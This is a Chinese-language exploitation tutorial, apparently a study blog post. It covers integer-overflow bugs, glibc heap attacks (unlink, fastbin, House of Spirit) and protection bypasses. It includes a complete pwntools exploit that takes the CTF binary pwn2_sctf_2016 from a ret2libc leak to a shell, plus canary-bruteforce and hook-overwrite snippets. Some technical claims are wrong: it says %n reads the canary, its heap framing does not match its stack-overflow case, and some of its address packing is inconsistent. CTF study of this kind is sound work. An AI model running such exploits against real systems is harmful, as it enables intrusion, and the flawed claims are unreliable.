【学习记录】Week8(四):从整数漏洞到堆溢出——实战利用与完整EXP构造
写在前面:在Week8的前三篇中,我们系统学习了整数溢出/下溢、符号转换与长度计算错误的原理,并探讨了它们如何导致堆溢出。今天,我们将迎来本周的收官之战——从理论走向实践,通过完整的实战案例,手把手教你如何将一个整数漏洞转化为堆溢出,最终实现任意代码执行csdn.net+1。
📑 目录
- 环境准备与工具链配置
- 漏洞分析与定位:从源码到二进制
- 堆布局与控制:精心设计的内存布局
- 利用技术详解:Unlink、Fastbin Attack与House of Spirit
- 实战案例完整解析:pwn2_sctf_2016
- 高级技巧与防护绕过
- 总结与进阶展望
1. 环境准备与工具链配置
在开始实战之前,我们需要搭建一个高效的漏洞利用分析环境。
1.1 基础环境搭建
# 更新系统并安装基础工具 sudo apt update && sudo apt install -y gdb python3-pip git gcc-multilib # 安装pwntools漏洞利用框架 pip3 install pwntools # 安装GDB插件pwndbg git clone https://github.com/pwndbg/pwndbg cd pwndbg ./setup.sh1.2 编译选项与保护机制
为了练习方便,我们通常关闭一些保护机制编译漏洞程序:
# 32位程序,关闭栈保护、NX、PIE,允许栈执行 gcc -m32 -fno-stack-protector -z execstack -no-pie -z norelro -o vuln vuln.c # 64位程序,关闭栈保护、NX、PIE gcc -fno-stack-protector -no-pie -z norelro -o vuln64 vuln64.c1.3 工具链一览
| 工具 | 用途 | 推荐版本 |
|---|---|---|
| GDB + pwndbg | 动态调试、内存分析 | GDB 9.2+, pwndbg latest |
| IDA Pro/Ghidra | 静态分析、反汇编 | IDA 7.7+, Ghidra 10.1+ |
| pwntools | 漏洞利用开发、EXP构造 | Python 3.8+ |
| checksec | 安全机制检查 | 最新版 |
| ROPgadget | ROP链构造 | 最新版 |
| one_gadget | 查找libc中的execve(“/bin/sh”) | 最新版 |
<details> <summary>🔧 pwndbg常用命令速查</summary>
# 内存分析 vmmap # 查看内存映射 heap # 堆分析主命令 vis # 堆可视化 bins # 查看所有bin fastbins # 查看fastbin unsortedbin # 查看unsortedbin smallbins # 查看smallbin largebins # 查看largebin # 断点与调试 b *0x0804845c # 在地址处设置断点 b main # 在函数处设置断点 c # 继续执行 ni # 单步执行,不进入函数 si # 单步执行,进入函数 fin # 执行到函数返回 # 数据查看 stack 20 # 查看栈内容 regs # 查看寄存器 x/20wx 0x804a000 # 按格式查看内存 telescope 0x804a000 # 递归解引用指针</details>
2. 漏洞分析与定位:从源码到二进制
2.1 漏洞程序源码分析
让我们从一个典型的整数漏洞程序开始github.com+1:
// vuln.c #include <stdio.h> #include <string.h> #include <stdlib.h> void validate_passwd(char *passwd) { char passwd_buf[11]; unsigned char passwd_len = strlen(passwd); // [1] 整数截断点 if (passwd_len >= 4 && passwd_len <= 8) { // [2] 长度检查 printf("Valid Password\n"); fflush(stdout); strcpy(passwd_buf, passwd); // [3] 栈溢出点 } else { printf("Invalid Password\n"); fflush(stdout); } } int main(int argc, char *argv[]) { if (argc != 2) { printf("Usage: %s <password>\n", argv[0]); exit(-1); } validate_passwd(argv[1]); return 0; }漏洞分析:
[1]处,strlen()返回size_t(通常为unsigned int),但被赋值给unsigned char(8位),导致截断oschina.net+1。- 当输入长度为
256+4=260时,strlen返回260,但passwd_len被截断为4(260 % 256 = 4),满足passwd_len >= 4 && passwd_len <= 8的条件cnblogs.com。 [3]处,strcpy将超长字符串复制到passwd_buf,导致栈溢出。
2.2 二进制分析
使用IDA Pro或Ghidra进行反汇编分析:
; validate_passwd函数反汇编片段 push ebp mov ebp,esp sub esp,0x18 mov eax,DWORD PTR [argv] add eax,0x4 mov eax,DWORD PTR [eax] mov DWORD PTR [esp],eax call 0x8048300 <strlen@plt> mov BYTE PTR [ebp-0x9],al ; 注意:al是8位寄存器,截断发生在这里 cmp BYTE PTR [ebp-0x9],0x3 jbe 0x8048445 <invalid> cmp BYTE PTR [ebp-0x9],0x8 ja 0x8048445 <invalid> ; 通过检查,执行strcpy关键点:
mov BYTE PTR [ebp-0x9],al:将strlen的结果(32位)截断为8位存储到passwd_len。- 后续的比较指令
cmp BYTE PTR [ebp-0x9],0x3只比较了低8位,因此可以绕过长度检查。
2.3 使用GDB动态调试
# 启动GDB调试 gdb ./vuln # 设置断点 pwndbg> b *0x804843e # 在strlen调用后设置断点 pwndbg> b *0x8048454 # 在strcpy调用前设置断点 # 运行程序 pwndbg> run AAAA # 正常输入 pwndbg> run $(python -c "print('A'*260)") # 溢出输入 # 查看寄存器和内存 pwndbg> regs pwndbg> x/20wx $esp3. 堆布局与控制:精心设计的内存布局
3.1 堆内存管理基础
在glibc的ptmalloc2中,堆内存被组织为多个chunkcsdn.net:
struct malloc_chunk { size_t prev_size; // 前一个chunk的大小(如果空闲) size_t size; // 当前chunk的大小,包括头部(低3位为标志位) union { struct { malloc_chunk* fd; // 前向指针(仅在空闲时使用) malloc_chunk* bk; // 后向指针(仅在空闲时使用) }; char user_data[0]; // 用户数据区(已分配时) }; };关键标志位:
PREV_INUSE(0x1): 前一个chunk是否在使用中IS_MMAPPED(0x2): 是否通过mmap分配NON_MAIN_ARENA(0x4): 是否属于非主arena
3.2 堆溢出策略
通过整数漏洞,我们可以控制堆分配的大小,从而实现以下堆布局:
整数漏洞触发
size = len1 + len2
错误的malloc参数
malloc(3)
分配过小堆块
实际仅3字节
越界写入
memcpy(ptr, src, 0x100000003)
覆盖相邻chunk元数据
fd/bk/size字段
利用触发
unlink/hook覆盖
控制流劫持
3.3 堆布局控制技术
为了成功利用堆溢出,我们需要精确控制堆布局:
- 堆风水:通过精心安排分配和释放顺序,使目标堆块位于可控位置freebuf.com。
- 堆整形:通过分配特定大小的堆块,影响堆管理器的行为,使堆布局符合预期。
- 元数据伪造:在溢出后,伪造相邻chunk的
size、fd、bk指针,为后续利用做准备。
<details> <summary>📖 堆布局实战示例</summary>
from pwn import * # 1. 创建堆布局 def create_heap_layout(): # 分配多个堆块,控制布局 ptr1 = malloc(0x18) # chunk1: 0x20大小(0x18数据 + 0x8头部) ptr2 = malloc(0x28) # chunk2: 0x30大小(目标堆块) ptr3 = malloc(0x18) # chunk3: 0x20大小(防止合并) # 释放ptr1,使其进入fastbin free(ptr1) # 此时堆布局: # [chunk1(空闲)] -> [chunk2(目标)] -> [chunk3(已分配)] # fastbin: chunk1 -> NULL return ptr2 # 返回目标堆块指针 # 2. 触发整数溢出,分配过小堆块 def trigger_integer_overflow(): # 假设漏洞函数:allocate_buffer(size) # 当size = 0xFFFFFFFF时,size + 1 = 0,malloc(0)返回一个小堆块 ptr = allocate_buffer(0xFFFFFFFF) return ptr # 3. 堆溢出,覆盖相邻chunk元数据 def heap_overflow(ptr, payload): # 假设漏洞函数:copy_data(ptr, data, len) # len = 0x100000000,但实际复制大量数据 copy_data(ptr, b'A' * 0x20 + p64(0x31) + p64(0) + p64(0x41414141), 0x100000000)</details>
4. 利用技术详解:Unlink、Fastbin Attack与House of Spirit
4.1 Unlink攻击
利用条件:
- 存在溢出可修改下一个chunk的
size和prev_size - 可触发unlink操作(如
free)
攻击原理:
// 伪造fake chunk fake_chunk = { .prev_size = 0, .size = 0x91, // 满足PREV_INUSE清除,触发unlink .fd = target_addr - 0x18, // 伪造fd指针 .bk = target_addr - 0x10 // 伪造bk指针 }; // 触发unlink时执行: // P->fd->bk = P->bk => *(target_addr - 0x18 + 0x18) = target_addr - 0x10 // P->bk->fd = P->fd => *(target_addr - 0x10 + 0x10) = target_addr - 0x18效果:实现任意地址写入,可覆盖GOT表、__malloc_hook等关键位置csdn.net。
4.2 Fastbin Attack
利用条件:
- 可控制fastbin链表的
fd指针 - 可触发
malloc从fastbin中取出chunk
攻击步骤:
# 1. 伪造fastbin条目 fake_chunk = 0x08049000 # 伪造的chunk地址 fake_chunk_size = 0x29 # 伪造的size字段(满足fastbin要求) # 2. 溢出覆盖fastbin的fd指针 payload = p64(fake_chunk) # 将fd指针指向伪造地址 # 3. 连续malloc两次 malloc(0x28); # 第一次返回正常chunk malloc(0x28); # 第二次返回伪造地址处的chunk效果:在任意地址分配chunk,实现任意地址写入freebuf.com。
4.3 House of Spirit
利用原理:通过在目标地址伪造一个合法的chunk结构,然后将其释放,使其被放入bin中,后续malloc时可再次获取该chunkcsdn.net。
// 伪造chunk struct { size_t prev_size; size_t size; char data[0]; } fake_chunk; fake_chunk.size = 0x41; // 满足fastbin要求 // ...在目标地址布置fake_chunk free(&fake_chunk); // 释放伪造chunk malloc(0x38); // 再次获取该chunk,实现任意地址写入4.4 利用技术对比
| 技术 | 利用条件 | 效果 | 难度 | 适用场景 |
|---|---|---|---|---|
| Unlink | 可控制chunk元数据 | 任意地址写 | ★★★★☆ | glibc < 2.29 |
| Fastbin Attack | 可控制fastbin fd指针 | 任意地址分配 | ★★★☆☆ | glibc < 2.32 |
| House of Spirit | 可伪造chunk结构 | 任意地址释放 | ★★★☆☆ | 通用 |
| Tcache Double Free | 可重复释放tcache chunk | 任意地址写 | ★★☆☆☆ | glibc 2.26+ |
5. 实战案例完整解析:pwn2_sctf_2016
5.1 漏洞分析
程序源码csdn.net+1:
void vuln() { char buf[40]; unsigned int n; printf("How many bytes do you want me to read? "); scanf("%u", &n); get_n(buf, n); // 整数溢出点 puts(buf); } int get_n(char* buf, unsigned int len) { int count = 0; while (count < len) { buf[count] = getchar(); if (buf[count] == '\n') break; count++; } return count; }漏洞点:
get_n函数的len参数是unsigned int,但count是int类型。- 当
len很大时(如0xFFFFFFFF),count < len比较会转换为无符号比较,导致循环次数远超缓冲区大小。
5.2 利用思路
flowchart LR A[输入n=0xFFFFFFFF<br>触发整数溢出] --> B[get_n读取大量数据<br>导致栈溢出] B --> C[覆盖返回地址<br>控制EIP] C --> D[泄露libc地址<br>通过puts@plt] D --> E[计算system和/bin/sh地址] E --> F[构造ROP链<br>执行system('/bin/sh')]5.3 完整EXP
from pwn import * # 1. 初始化环境 context.arch = 'i386' context.os = 'linux' context.log_level = 'debug' # 2. 加载目标程序 p = process('./pwn2_sctf_2016') elf = ELF('./pwn2_sctf_2016') libc = ELF('/lib/i386-linux-gnu/libc.so.6') # 3. 漏洞利用 def exploit(): # 3.1 触发整数溢出,读取大量数据 p.sendlineafter(b'read?', b'4294967295') # 0xFFFFFFFF # 3.2 构造栈溢出payload # buf距离返回地址的偏移:40字节buf + 4字节EBP = 44字节 payload = b'A' * 44 # 3.3 覆盖返回地址为puts@plt,泄露libc地址 puts_plt = elf.plt['puts'] puts_got = elf.got['puts'] main_addr = elf.symbols['main'] # ROP链:puts(puts@got) -> main payload += p32(puts_plt) # 返回地址:puts函数 payload += p32(main_addr) # puts返回后执行的地址:main函数 payload += p32(puts_got) # puts函数的参数:puts@got p.sendline(payload) # 3.4 接收泄露的libc地址 p.recvuntil(b'\n') leaked_puts = u32(p.recv(4)) log.info(f"Leaked puts address: {hex(leaked_puts)}") # 3.5 计算libc基址和关键函数地址 libc_base = leaked_puts - libc.symbols['puts'] system_addr = libc_base + libc.symbols['system'] bin_sh_addr = libc_base + libc.search(b'/bin/sh').__next__() log.info(f"libc base: {hex(libc_base)}") log.info(f"system address: {hex(system_addr)}") log.info(f"/bin/sh address: {hex(bin_sh_addr)}") # 3.6 第二次利用,执行system("/bin/sh") p.sendlineafter(b'read?', b'4294967295') payload2 = b'A' * 44 payload2 += p32(system_addr) # 返回地址:system函数 payload2 += p32(0xdeadbeef) # system返回后执行的地址(无效,但不影响) payload2 += p32(bin_sh_addr) # system函数的参数:"/bin/sh" p.sendline(payload2) # 3.7 获取交互式shell p.interactive() if __name__ == '__main__': exploit()5.4 调试技巧
<details> <summary>⚙️ GDB调试过程</summary>
# 1. 设置断点 pwndbg> b *0x804844e # 在get_n函数调用处设置断点 pwndbg> b *0x8048460 # 在ret指令处设置断点 # 2. 运行程序 pwndbg> run # 3. 输入触发整数溢出 How many bytes do you want me to read? 4294967295 # 4. 查看栈布局 pwndbg> stack 30 pwndbg> x/30wx $esp # 5. 单步执行,观察数据复制过程 pwndbg> ni # 单步执行 pwndbg> ni # 继续单步 # ...观察buf缓冲区如何被溢出 # 6. 查看返回地址被覆盖 pwndbg> x/wx $ebp+4 # 查看返回地址</details>
6. 高级技巧与防护绕过
6.1 绕过ASLR(地址空间布局随机化)
信息泄露技术:
- 格式化字符串泄露:使用
%p、%x泄露栈上的libc地址tencent.com。 - GOT表泄露:通过
puts、printf等函数泄露GOT表项。 - 堆地址泄露:通过UAF或堆溢出泄露堆指针。
# 格式化字符串泄露示例 p.sendline(b'%p.%p.%p.%p') leaked_data = p.recv() # 解析泄露的地址6.2 绕过NX(栈不可执行)
ROP(Return-Oriented Programming):
# 查找ROP gadget rop = ROP(elf) rop.system(elf.symbols['system'], elf.symbols['exit']) rop.call('/bin/sh') # 自动生成ROP链 rop_chain = rop.chain()6.3 绕过Canary(栈保护)
Canary泄露技术:
- 逐字节爆破:通过逐字节比较泄露Canary。
- 格式化字符串泄露:使用
%n直接读取Canary。 - SSP泄露:利用
__stack_chk_fail函数泄露Canary。
# 逐字节爆破Canary canary = b'\x00' for i in range(3): for byte in range(256): p.sendline(b'A' * 24 + canary + bytes([byte])) response = p.recv() if b'Success' in response: canary += bytes([byte]) break6.4 绕过Full RELRO(GOT表保护)
GOT表劫持替代方案:
__malloc_hook覆盖:覆盖__malloc_hook为one_gadget。__free_hook覆盖:覆盖__free_hook为system。- 栈迁移:将栈迁移到可控区域,如BSS段。
# 覆盖__malloc_hook one_gadget = 0x0804854b # 示例地址 payload = p64(one_gadget) write_to_addr(libc.symbols['__malloc_hook'], payload)7. 总结与进阶展望
7.1 核心知识点总结
- 整数漏洞是堆溢出的上游导火索:无符号整数回绕、有符号负数转换、宽度截断都可导致内存分配尺寸错误csdn.net+1。
- 堆溢出利用需要深入理解内存管理器:ptmalloc2的chunk结构、bin机制、first-fit算法都是利用基础csdn.net+1。
- 典型利用技术:Unlink攻击、Fastbin Attack、House of Spirit、Tcache Double Free各有适用场景csdn.net+1。
- 现代防护机制可被绕过:ASLR需信息泄露,Canary需部分覆盖,RELRO需GOT表可写。
7.2 易错点与注意事项
- 不要假设整数溢出后一定回绕:有符号溢出是未定义行为,不同编译器处理可能不同csdn.net。
- 注意隐式类型转换:有符号数与无符号数运算时,有符号数会被转换为无符号数oschina.net+1。
- 检查所有用户可控的数值输入:包括长度、索引、计数器、偏移量等csdn.net+1。
- 堆布局不可预测:ASLR、堆随机化使堆地址难以预测,需信息泄露。
7.3 进阶学习方向
<details> <summary>📚 推荐学习路径</summary>
- 内核堆利用:Linux内核slab/slub分配器,内核ROP
- JIT编译器漏洞:V8、SpiderMonkey中的整数溢出
- 嵌入式系统:RTOS堆实现差异,缺少防护机制
- 新型防护机制:MPX、CET、Shadow Stack
- 自动化漏洞挖掘:AFL、libFuzzer结合整数漏洞检测
</details>
7.4 下周预告 (Week9)
下周我们将进入格式化字符串漏洞的进阶世界,探讨:
- 格式化字符串与堆漏洞的结合利用
- 现代编译器对格式化字符串的防护及绕过
- 真实CVE案例中的格式化字符串漏洞分析
- 自动化检测与修复技术
📊 知识图谱总结
整数漏洞到堆溢出实战环境准备工具链配置:GDB + pwndbg:IDA Pro/Ghidra:pwntools编译选项:关闭保护机制:调试符号漏洞分析源码分析:整数截断:符号转换:长度检查绕过二进制分析:反汇编识别:GDB动态调试:内存布局分析堆布局控制堆风水:分配顺序控制:堆块位置预测堆整形:大小控制:bin分布影响元数据伪造:size字段:fd/bk指针利用技术Unlink攻击:伪造chunk:任意地址写:GOT表覆盖Fastbin Attack:控制fd指针:任意地址分配:House of SpiritTcache Double Free:链表破坏:任意地址写:glibc 2.26+实战案例pwn2_sctf_2016:整数溢出点:栈溢出触发:ROP链构造EXP编写:信息泄露:地址计算:shell获取防护绕过ASLR绕过:信息泄露:格式化字符串:GOT表泄露NX绕过:ROP链:ret2libcCanary绕过:逐字节爆破:格式化字符串泄露
最终结论:整数漏洞到堆溢出的转化是二进制安全中最重要的漏洞链之一。理解这一转化过程,不仅能帮助你发现和利用漏洞,更能让你写出更安全的代码。在攻防博弈中,谁先理解底层,谁就掌握了安全的主动权csdn.net+1。
参考文献:
- int_overflow [XCTF-PWN]CTF writeup系列9
- 关于Heap Overflow(堆溢出)
- 如何利用Pwndbg高效调试整数溢出漏洞
- CTF PWN实战:手把手教你利用整数溢出漏洞攻破Overflow靶场
- 整数溢出漏洞利用:数字的"魔术把戏"如何让你获得Root权限
- CTF PWN实战:利用整数溢出漏洞攻破pwn2_sctf_2016
- 【C Prime Plus】学习笔记,Chapter 3, 整型溢出
- PWN INTEGER OVERFLOW 整数溢出
- CTF PWN实战:手把手教你利用整数溢出漏洞拿下Overflow靶机
- CTF PWN 总结
- 利用CTF-WIKI PWNheapcreator进行堆溢出与任意写
- 计算机系统解密:深入剖析整型溢出
- CTF-PWN: 学习堆利用你所需要知道的基础知识
- [BUUCFT]PWN——整数溢出漏洞实战:pwn2_sctf_2016的libc泄露与利用
- CTF PWN 实战:从漏洞分析到 Exploit 编写的全攻略
- PWN进阶路线图 | 从栈溢出到堆利用的实战指南
- 新手科普 CTF PWN堆溢出总结
- linux-exploit-development-tutorial/integer-overflow.md
- [二进制漏洞]PWN学习之整数溢出Win篇
- 2025 HKCERT CTF Writup
- Exploit for Integer Overflow or Wraparound in Linux Linux_Kernel
- 刷爆 CTF 赛场!50 个硬核解题思路
- CTF Pwn模块系列分享(三):溢出基础与ret2text漏洞利用
- 【integeroverflow】什么意思
- pwn刷题笔记(整数溢出)
- 强网杯S8初赛pwn writeup
- 【软件安全】Heap Overflow — Exploit Function Pointer
- CTF-PWN实战技能特训班教程资源